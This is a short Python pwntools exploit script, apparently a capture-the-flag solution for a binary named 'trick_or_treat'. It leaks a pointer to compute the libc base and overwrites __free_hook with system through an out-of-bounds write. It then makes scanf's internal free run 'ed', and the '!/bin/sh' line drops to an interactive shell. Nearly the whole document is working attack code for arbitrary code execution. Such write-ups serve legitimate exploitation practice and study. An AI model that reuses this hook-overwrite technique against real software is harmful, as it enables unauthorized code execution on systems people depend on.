#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./trick_or_treat', env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')

r.recvuntil('Size:')
r.sendline(str(int(0x40000)))

r.recvuntil('Magic:')
ptr = int(r.recvuntil('\n')[:-1],16)
print 'ptr :', hex(ptr)
libc_base = ptr - 0x5d5010 
print '[*] libc_base : ',hex(libc_base)

free_hook = libc_base + libc.symbols['__free_hook']
print '[*] free_hook : ',hex(free_hook)
offset = int((free_hook - ptr) / 8) + 0x10 ** 16
system = libc_base + libc.symbols['system'] 


r.sendline('%lx' % offset)
r.sendline('%lx' % system)

'''
'ed' is an unix text editor like vim
0x7f1d1625e93a <_IO_vfscanf+1786>    call   free@plt <0x7f1d162142c8>
    ptr: 0x5563e10e0260 ◂— 0x3030303030006465 /* 'ed' */
'''
r.sendline('0' * 0x400)
raw_input('#')
r.sendline('ed')
r.sendline('!/bin/sh')

r.interactive()
